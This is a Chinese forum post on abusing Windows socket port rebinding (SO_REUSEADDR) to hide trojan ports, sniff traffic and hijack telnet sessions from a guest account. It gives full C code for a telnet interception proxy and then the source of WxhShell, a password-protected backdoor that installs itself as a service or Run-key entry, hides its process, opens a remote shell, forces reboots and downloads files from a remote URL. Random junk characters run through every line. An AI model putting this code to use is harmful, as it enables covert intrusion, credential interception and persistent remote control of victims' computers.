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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: #]'rz,E<  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); B4]`-mahO  
]~\sA  
  saddr.sin_family = AF_INET; y9KB< yh/  
l9M0cZ,  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); rm} R>4  
JCW\ *R  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); kHqztg  
%e@#ux m  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 pT$f8xJ  
!\ g+8>  
  这意味着什么?意味着可以进行如下的攻击: Zc?ppO  
ox ;  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 3 zn W=  
E#F/88(  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) *@TZ+{t  
kkK kf'  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 t>H`X~SR?  
K).n.:vYZ  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  )IJQeC  
]f1{n  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 YX*Qd$chZ  
hxS 6:5Uc  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 R-P-i0 ~  
K+6e?5t  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 y7^{yS[,  
 kQ   
  #include `ImE% r!  
  #include 'fL"txW  
  #include uWrQ&}@  
  #include    Xb QlHfrS  
  DWORD WINAPI ClientThread(LPVOID lpParam);   u_).f<mUdF  
  int main() {f{ZHi|  
  { x=#VX\5k:  
  WORD wVersionRequested; r `eU~7  
  DWORD ret; l (3bW1{n  
  WSADATA wsaData; Xj*vh m%i  
  BOOL val; #A8@CA^d  
  SOCKADDR_IN saddr; P/`I.p;  
  SOCKADDR_IN scaddr; 4GB7A]^E  
  int err; 7L^%x3-|&  
  SOCKET s; Xo*DvD  
  SOCKET sc; sp* Vqd  
  int caddsize; 03j]d&P%d  
  HANDLE mt; w eQYQrN  
  DWORD tid;   MJ=)v]a  
  wVersionRequested = MAKEWORD( 2, 2 ); V:G>G'Eh0  
  err = WSAStartup( wVersionRequested, &wsaData ); P<fnLQ9  
  if ( err != 0 ) { Q%-di=  
  printf("error!WSAStartup failed!\n"); rhL"i^  
  return -1; ,E.' o=Z  
  } i>_u_)-  
  saddr.sin_family = AF_INET; Vn~UB#]'3  
    RD tU43  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Q#IG;  
`~X!Ll  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); FV,4pi  
  saddr.sin_port = htons(23); ,y%3mR_~  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) _Ob@`  
  { Iz[@^IUx=  
  printf("error!socket failed!\n"); jM:Y' l]  
  return -1; iH.$f /)N  
  } 0 &GRPu27  
  val = TRUE; g&n)fF  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 t&9A ]<n%,  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) \RVW  
  { iS?42CV  
  printf("error!setsockopt failed!\n"); x}twsc`  
  return -1; MfmACd^3$  
  } &x > B  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; q%5eVG  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 q:<{% U$  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 N D<HXO  
*:O.97q@h  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) I7&_Xr  
  { S(mF%WJ  
  ret=GetLastError(); {hJXj,  
  printf("error!bind failed!\n"); BYKoel  
  return -1; zB? V_aT  
  } V i&*&"q  
  listen(s,2); 7$rjlVe  
  while(1) |X`/  
  { }za[E>z  
  caddsize = sizeof(scaddr); *|_"W+JC  
  //接受连接请求 Z/ Tm)Xd  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); lHZU iB  
  if(sc!=INVALID_SOCKET) ^GBe)~MT  
  { nhN);R~o"1  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); l$hJE;n  
  if(mt==NULL) S1U@UC  
  { eh[_~>w  
  printf("Thread Creat Failed!\n"); we#wH-  
  break; a" H WGY  
  } Skz|*n|eY  
  } 76vy5R(.  
  CloseHandle(mt); jLJ1u/l>;  
  } Jxqh )l  
  closesocket(s); IG3,XW  
  WSACleanup(); $x6$*K(F  
  return 0; Iyo@r%I  
  }   &P,^.'  
  DWORD WINAPI ClientThread(LPVOID lpParam) ``A 0WN  
  { zX#%{#9  
  SOCKET ss = (SOCKET)lpParam; 7#<c>~   
  SOCKET sc; w{dIFvQ"$  
  unsigned char buf[4096]; |7KeR-  
  SOCKADDR_IN saddr; rDdzxrKg{  
  long num; )NR Q2  
  DWORD val; .`CZUKG  
  DWORD ret; R<x'l=,D(  
  //如果是隐藏端口应用的话,可以在此处加一些判断 e:AHVep j{  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   {s3z"OV  
  saddr.sin_family = AF_INET; CDi<< ,  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); *UW=Mdt  
  saddr.sin_port = htons(23); S60IPya  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ?6!]Nl1gr  
  { dSCzx .c  
  printf("error!socket failed!\n"); \Ofw8=N-2  
  return -1; MV=9!{`  
  } GjB]KA^  
  val = 100; ?m c%.Bt  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) it2 a  
  { mQ}ny(K'  
  ret = GetLastError(); tb?YLxMV  
  return -1; 5b/ojr7  
  } Il`tNr  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) +wW@'X  
  { U}$DhA"r"  
  ret = GetLastError(); 4'p=p#o  
  return -1; >]=j'+]  
  } *;|`E(   
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) MuBx#M/  
  { ouHu8)q'r  
  printf("error!socket connect failed!\n"); @u._"/K  
  closesocket(sc); *1@:'rJ  
  closesocket(ss); >5G>D~b  
  return -1; C!C|\$)-  
  } ",>H(wJ8  
  while(1) HMY@F_qY`u  
  { Ol$WpM  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 MlW 8t[  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 _ IeU+tS  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 71C42=AU  
  num = recv(ss,buf,4096,0); 6bBdIqGb}  
  if(num>0) E0oU$IB  
  send(sc,buf,num,0); V\K<$?oUb  
  else if(num==0) T#Z%y!6  
  break; LEECW_:  
  num = recv(sc,buf,4096,0); XR0O;JN  
  if(num>0) S-+M;@'Rl  
  send(ss,buf,num,0); q8ImrC.'^  
  else if(num==0) AnZclqtb  
  break; 2u?zO7W)-L  
  } bAr` E  
  closesocket(ss); k n8N,,+  
  closesocket(sc); :c8n[+5  
  return 0 ; Lhh;2r/?78  
  } (Vg}Hh?p  
Q)af|GW$  
}1-I[q6  
========================================================== V[a[i>,Z  
>"3>fche  
下边附上一个代码,,WXhSHELL XN,,cU  
F^!mI7Z|(2  
========================================================== @/%{15s.  
`P@- %T  
#include "stdafx.h" mDFlz1J,e  
%f8Qa"j  
#include <stdio.h> @U -$dw'4  
#include <string.h>  8RwX=  
#include <windows.h> t5 a7DD  
#include <winsock2.h> @tRMe6 4  
#include <winsvc.h> ~YCuO0t  
#include <urlmon.h> >6Lm9&}  
Mp\<cE  
#pragma comment (lib, "Ws2_32.lib") 6aOp[-Le  
#pragma comment (lib, "urlmon.lib") ) gR=<oa  
1px\K8  
#define MAX_USER   100 // 最大客户端连接数 nws"RcP+Z  
#define BUF_SOCK   200 // sock buffer FbACTeB  
#define KEY_BUFF   255 // 输入 buffer A<YsfDa_d  
jw6Tj;c  
#define REBOOT     0   // 重启 O7aLlZdg~  
#define SHUTDOWN   1   // 关机 /)uM[ dnai  
NE|[o0On  
#define DEF_PORT   5000 // 监听端口 GbU@BN+_  
^+?|Qfi  
#define REG_LEN     16   // 注册表键长度 !p 8psi0  
#define SVC_LEN     80   // NT服务名长度 ;LJ3c7$@lf  
5, b]V)4  
// 从dll定义API #G3N(wV3  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); !PUp>(  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ELa ja87  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); A[UP"P~u/  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); TOI4?D]  
lu UYo  
// wxhshell配置信息 N<z`yV  
struct WSCFG { |sgXh9%x<  
  int ws_port;         // 监听端口 b4,jN~ci  
  char ws_passstr[REG_LEN]; // 口令 bdh(WJh%  
  int ws_autoins;       // 安装标记, 1=yes 0=no 8(X0 :  
  char ws_regname[REG_LEN]; // 注册表键名 _|isa]u\ z  
  char ws_svcname[REG_LEN]; // 服务名 GO5~!g  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 _>bRv+RVR  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 yZ}d+7T}  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 +~2rW8  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ,yLw$-  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" qX>Q+_^  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 #WE]`zd  
(*l2('e#@  
}; EY>8O+  
lj&>cScC  
// default Wxhshell configuration Zzd/K^gg  
struct WSCFG wscfg={DEF_PORT, 8V4V3^_xs  
    "xuhuanlingzhe", /c+)C"  
    1, |;;!8VO3J  
    "Wxhshell", f1+qXMs  
    "Wxhshell", zREJ#r  
            "WxhShell Service", Y9}8M27vQG  
    "Wrsky Windows CmdShell Service", h5@j`{  
    "Please Input Your Password: ", Fm j=  
  1, g{pQ4jKF  
  "http://www.wrsky.com/wxhshell.exe", |Svk^mq  
  "Wxhshell.exe" #A <1aQ  
    }; 6 o[/F3`  
,&a`d}g&G  
// 消息定义模块 =g@9>3~{!  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; nbvkP  
char *msg_ws_prompt="\n\r? for help\n\r#>"; {`.O|_b  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; <d$A)S};W  
char *msg_ws_ext="\n\rExit."; Gm=>!.p  
char *msg_ws_end="\n\rQuit."; ^>r^3C)_-  
char *msg_ws_boot="\n\rReboot..."; H)JS0 G0  
char *msg_ws_poff="\n\rShutdown..."; {sS_|sX  
char *msg_ws_down="\n\rSave to "; fU*C/ d3  
,9/5T:2  
char *msg_ws_err="\n\rErr!"; &^ I+s^\=  
char *msg_ws_ok="\n\rOK!"; 9F_6}.O  
vrrt@y  
char ExeFile[MAX_PATH]; ^GXEJU 7U  
int nUser = 0; [wcA.g*F  
HANDLE handles[MAX_USER]; oP$kRfXS!<  
int OsIsNt; ~mILA->F  
_C+DBA  
SERVICE_STATUS       serviceStatus; `B#Z;R  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; aMCO"66b  
j|'R$|  
// 函数声明 {},;-%xE  
int Install(void); Sr y,@p)  
int Uninstall(void); Q(\ wx  
int DownloadFile(char *sURL, SOCKET wsh); r*cjOrvI  
int Boot(int flag); WL~`u  
void HideProc(void); 0U&d q#  
int GetOsVer(void); B3L4F"  
int Wxhshell(SOCKET wsl); XNmQ?`.2'  
void TalkWithClient(void *cs); jE U'.RBN%  
int CmdShell(SOCKET sock); Hql5oA  
int StartFromService(void); `facFt[\  
int StartWxhshell(LPSTR lpCmdLine); E#h~V5Tf  
.Dv=p B,u  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); X!0kK8v  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); VJ1*|r,  
/e5\9  
// 数据结构和表定义 anx&Xj|=.F  
SERVICE_TABLE_ENTRY DispatchTable[] = 41;)-(1  
{ ic~Z_?p  
{wscfg.ws_svcname, NTServiceMain}, {,V$*  
{NULL, NULL} @P70W<<  
}; OJ[rj`wrW^  
c/$*%J<  
// 自我安装 +sn2Lw!^  
int Install(void) <3#<I)#  
{ ;nf&c;D  
  char svExeFile[MAX_PATH]; Iu6W=A  
  HKEY key; R@ QQNYU.D  
  strcpy(svExeFile,ExeFile); rdI]\UH  
)<LI%dQ:'l  
// 如果是win9x系统,修改注册表设为自启动 :J%'=_I&H  
if(!OsIsNt) { %1jdiHTaL  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { p+D=}O  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); b{HhS6<K?  
  RegCloseKey(key); Qu_EfmN|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { i ^S2%qz  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); y*KC*/'"  
  RegCloseKey(key); BHiOQ0Fs  
  return 0; {W'8T}q  
    } 6e:P.HqjA  
  } %AgA -pBp  
} $eCGez<E  
else { +wts 7,3  
eYDgEM  
// 如果是NT以上系统,安装为系统服务 00,9azs  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); BQU/QoDY  
if (schSCManager!=0) pDhY%w#  
{ }@*I+\W/  
  SC_HANDLE schService = CreateService V* Qe5j9  
  ( A5+5J_)*  
  schSCManager, T/7vM6u  
  wscfg.ws_svcname, AgI>  
  wscfg.ws_svcdisp, HwW6tQ  
  SERVICE_ALL_ACCESS, U 1F-~ {r  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , g =x"cs/[  
  SERVICE_AUTO_START, z"av|(?d  
  SERVICE_ERROR_NORMAL, w@-b  
  svExeFile, 0:PSt_33F  
  NULL, (. H ]|  
  NULL, Gx;xj0-"  
  NULL, B$DZ]/<  
  NULL, ^hysCc  
  NULL |<2 *v-a  
  ); o#dcD?^  
  if (schService!=0) zg7G^!PU  
  { NY 4C@@"  
  CloseServiceHandle(schService); \AJS,QD  
  CloseServiceHandle(schSCManager); {0fz9"|U  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); |=,83,a  
  strcat(svExeFile,wscfg.ws_svcname); #jgqkMOd,j  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { OgTSx  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); _]Ey Ea  
  RegCloseKey(key); B{=009.  
  return 0; 2mLUdx~c  
    } Z{#"-UG  
  } NJ>,'s  
  CloseServiceHandle(schSCManager); qhN[Dj(d  
} . o"<N  
} 2b!j.T#u  
*k!(ti[  
return 1; 9 c6'  
} W{\EE[XhCf  
=1Ri]b  
// 自我卸载 ,P!D-MN$V  
int Uninstall(void) BP:(IP!&  
{ CX.SYr&!R  
  HKEY key; SLg+H  
Q-jf8A]  
if(!OsIsNt) { hLSTSD}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (`F|nG=X  
  RegDeleteValue(key,wscfg.ws_regname); jF4csO=E  
  RegCloseKey(key); (>mi!:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?^Pq/VtZ  
  RegDeleteValue(key,wscfg.ws_regname); KZW'O b>[  
  RegCloseKey(key); $(XgKq&xWZ  
  return 0; L2d:.&5  
  } @$EjD3Z-  
} yqYhe-"  
} 8Kk3_ y  
else { ^pN 5NwC5  
@kz!{g]Sn  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ~JAjr(G#o  
if (schSCManager!=0) /=q.tDH=I  
{ ]79~:m[C  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); P6:;Y5e0  
  if (schService!=0) :b <KX%g  
  { % mJ~F*Dy  
  if(DeleteService(schService)!=0) { -E}>h[;qZ  
  CloseServiceHandle(schService); au,jAk  
  CloseServiceHandle(schSCManager); }2h't.Z<u  
  return 0; IO*l vy  
  } wy YtpW  
  CloseServiceHandle(schService); |G)Y8 #D  
  } Q g$($   
  CloseServiceHandle(schSCManager); { v,{x1  
} yAAG2c4(  
} kq>GMUl~@  
](_{,P  
return 1; Ny.*G@&  
} C`3V=BB  
wZ$ tJQO  
// 从指定url下载文件 :Jjw"}SfK#  
int DownloadFile(char *sURL, SOCKET wsh) IX"ZS  
{ 'YBi5_  
  HRESULT hr; |PI)A`  
char seps[]= "/"; =l_rAj~I|  
char *token; Zd8drT'@#  
char *file; "havi,m  
char myURL[MAX_PATH]; ob)Q,;8R  
char myFILE[MAX_PATH]; D DQs42[  
sw[oQ!f  
strcpy(myURL,sURL); 9LH=3Qt  
  token=strtok(myURL,seps); hHCzj*5  
  while(token!=NULL) 1B6C<cL:sU  
  { V@$GC$;  
    file=token; ';&0~[R[  
  token=strtok(NULL,seps); Q! Kn|mnN  
  } kkT3 wP  
kJI3`gS+  
GetCurrentDirectory(MAX_PATH,myFILE); m5)EQE}gPp  
strcat(myFILE, "\\"); xLe =d|6  
strcat(myFILE, file); E2Us#a  
  send(wsh,myFILE,strlen(myFILE),0); @+iC/  
send(wsh,"...",3,0); 4 #aqz9k  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); #fwzFS \XL  
  if(hr==S_OK) I ca3  
return 0; 4sb )^3T  
else .F4oo=  
return 1; =Na/3\^WP  
{%=S+89l  
} D*CIE\+  
3T" #T&eL  
// 系统电源模块 >vHH  
int Boot(int flag)  qe[  
{ VPWxHVf  
  HANDLE hToken; f( ]R/'o  
  TOKEN_PRIVILEGES tkp; mPckf  
(L`l+t1  
  if(OsIsNt) { %I_&Ehu  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); G XarUjs  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Yr5iZ~V$  
    tkp.PrivilegeCount = 1; ^CfM|L8>  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; -E6Jf$  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); j\!~9  
if(flag==REBOOT) { T}V7SD.  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) -Uzc"Lx B  
  return 0; M`)s>jp@w  
} m &9)'o  
else { 4xv9a;fP  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ?F)_T  
  return 0; )!N2'Ld  
} }PtI0mZ1  
  } chKF6n  
  else { Uy(vELB  
if(flag==REBOOT) { 6lN?)<uQ  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 8rGl&  
  return 0; axWM|Bw<+  
} mG>T`c|r3  
else { o,g6JTh  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) issT{&T  
  return 0; }/_('q@s\  
} d|>9rX+f  
} I h5/=_n  
$|>6z_3%  
return 1; ny278tr Q7  
} n wY2BIB  
NnJ>0|74g  
// win9x进程隐藏模块 en Pzy:C  
void HideProc(void) Coga-: 2vu  
{ D9}d]9]$  
E^oEG4 X@  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 3Qqnw{*  
  if ( hKernel != NULL ) -X`~;=m>U  
  { gcX5Q^`a=  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); TvQWdX=  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); d 8xk&za  
    FreeLibrary(hKernel); :jZ*,d%1={  
  } X4Pm)N `  
C*"Rd   
return; +i:  E  
} cFRSd }p=  
~+nS)4 (  
// 获取操作系统版本  <'g0il  
int GetOsVer(void) V->.|[J  
{ zb@L)%  
  OSVERSIONINFO winfo; RH<@c^ S  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); j)6@q@P/  
  GetVersionEx(&winfo); /uy&2l  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) @#bBs9@gv  
  return 1; [37f#p  
  else VaD:  
  return 0; N2[, aU  
} L~^e\^sP  
1.hOE>A%  
// 客户端句柄模块 ;yRwoTc)Y  
int Wxhshell(SOCKET wsl) .a 'ETNY:>  
{ _DNkdS [[  
  SOCKET wsh; `l HKQwu  
  struct sockaddr_in client; ;s}-X_O<  
  DWORD myID; x(C]O,  
>xxXPvM<`  
  while(nUser<MAX_USER) 0!3!?E <  
{ Da9*/  
  int nSize=sizeof(client); / e~  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); n`FQgC  
  if(wsh==INVALID_SOCKET) return 1; F!z! :yp  
2jI4V;H8g  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 5O;/ lX!u  
if(handles[nUser]==0) [i,5>YIk  
  closesocket(wsh); yrxx+z|wR  
else 0hH Iz4(  
  nUser++; m _t(rn~f6  
  } |_Naun=+~  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 9b{g+lMZo  
"2y7&#l   
  return 0; |YG)NO  
} rXHHD#\oF  
X+(aQ >y  
// 关闭 socket &*V0(  
void CloseIt(SOCKET wsh) Sa?~t3*H  
{ rwi2kk#@P  
closesocket(wsh); `^s]?  
nUser--; 9*G L@_c  
ExitThread(0); sg!=Q+  
} c]cO[T_gGa  
x9XGCr  
// 客户端请求句柄 uAPLT~  
void TalkWithClient(void *cs) 1A,4 Aw<  
{ hEdo,gF*  
Ymrpf  
  SOCKET wsh=(SOCKET)cs; )_x8?:lv  
  char pwd[SVC_LEN]; 30gZ_ 8C>}  
  char cmd[KEY_BUFF]; C%x(`S^/  
char chr[1]; h=p-0 Mx .  
int i,j; ^)eessZ  
N7j]yvE  
  while (nUser < MAX_USER) { 7|{%CckN  
ByB0>G''.  
if(wscfg.ws_passstr) { mCEKEX  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); T }8r;<P6  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); p ] $  
  //ZeroMemory(pwd,KEY_BUFF); W #JVUGYD  
      i=0; Ggxrj'r  
  while(i<SVC_LEN) { %8z+R m,Ot  
37ri b  
  // 设置超时 KweHY,  
  fd_set FdRead; ek+8hnkh  
  struct timeval TimeOut; ~' PS|  
  FD_ZERO(&FdRead); K>DnD0  
  FD_SET(wsh,&FdRead); ?j^?@%f0  
  TimeOut.tv_sec=8; `*uuB;  
  TimeOut.tv_usec=0; I?:+~q}lZr  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); %(O^as  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); n WO~v{h3J  
cwDD(j  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); eBLHT  
  pwd=chr[0]; <O`q3u'l  
  if(chr[0]==0xd || chr[0]==0xa) { $fU/9jTa  
  pwd=0; a*$1la'Uf  
  break; x""Mxn]gD  
  } ><Mbea=U+  
  i++; q4IjCu+  
    } )}zA,FOA*  
BZ'y}Zu*  
  // 如果是非法用户,关闭 socket #L+s%OJ`  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); o^.s!C%j  
} ,XF6Xsg2  
cbg3bi  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); "_% 0|;  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); PauFuzPP  
c,u$tnE)  
while(1) { {F{[!.  
XN0RT>@  
  ZeroMemory(cmd,KEY_BUFF); 802]M  
=f{Z~`3  
      // 自动支持客户端 telnet标准   H 29 _ /  
  j=0; ?M1 QJ  
  while(j<KEY_BUFF) { 4HYH\ey  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =tvm=  
  cmd[j]=chr[0]; 1<Ztk;$A  
  if(chr[0]==0xa || chr[0]==0xd) { []]LyWk  
  cmd[j]=0; hzf}_1  
  break; , K"2tb  
  } `A}{ I}xq  
  j++; eJwii  
    } :XZJxgx  
KG./<"c  
  // 下载文件 ?eg@ 7n  
  if(strstr(cmd,"http://")) { (}7o a9Q<  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); h 19.b:JT  
  if(DownloadFile(cmd,wsh)) ",,qFM!  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); B#/~U`t*  
  else &hM,b!R|  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -QHzf&D?  
  } B'#gs'fl  
  else { d'eM(4R@  
,:Y=,[n  
    switch(cmd[0]) { =S?-=jPtg  
  u BW  
  // 帮助 !z&seG]@  
  case '?': { \2VZkVO9  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ?2bE=|  
    break; ]a@v)aa-  
  } ]MH \3g;  
  // 安装 cB{;Nh6"  
  case 'i': { o@V/37!  
    if(Install()) B2+_F"<;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q~A|R   
    else :WKyEt!3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,C12SM*@  
    break; (V |q\XS  
    } Yv`1ySR  
  // 卸载 t6U+a\-<  
  case 'r': { 98%a)s)(a  
    if(Uninstall()) Q,LWZw~"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); '&L   
    else f>JzG,-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0i1?S6]d-  
    break; XzRWY\x  
    } ovRCF(Og,  
  // 显示 wxhshell 所在路径 <k8rSx n{  
  case 'p': { ]KII?{ <k  
    char svExeFile[MAX_PATH]; 5<'Jd3N{&  
    strcpy(svExeFile,"\n\r"); MyR\_)P?  
      strcat(svExeFile,ExeFile); 7Bb@9M?i  
        send(wsh,svExeFile,strlen(svExeFile),0); 7}HA_@[  
    break; FU3IK3}  
    } <8}9s9Nk  
  // 重启 T)?@E/VaS  
  case 'b': { WlJRKM2  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ^L2Zo'y [  
    if(Boot(REBOOT)) ="PywZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Lm2cW$s  
    else { 3n"&$q6  
    closesocket(wsh); j1C0LP8  
    ExitThread(0); !7Q.w/|=  
    } 9"v ox   
    break; JL*]9$o  
    } (6_/n&mF  
  // 关机 u=N;P  
  case 'd': { |H I A[.q  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); kys-~&@+  
    if(Boot(SHUTDOWN)) 53#5p;k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L?5t <`#lw  
    else { rEyMSLN  
    closesocket(wsh); W2V@\  
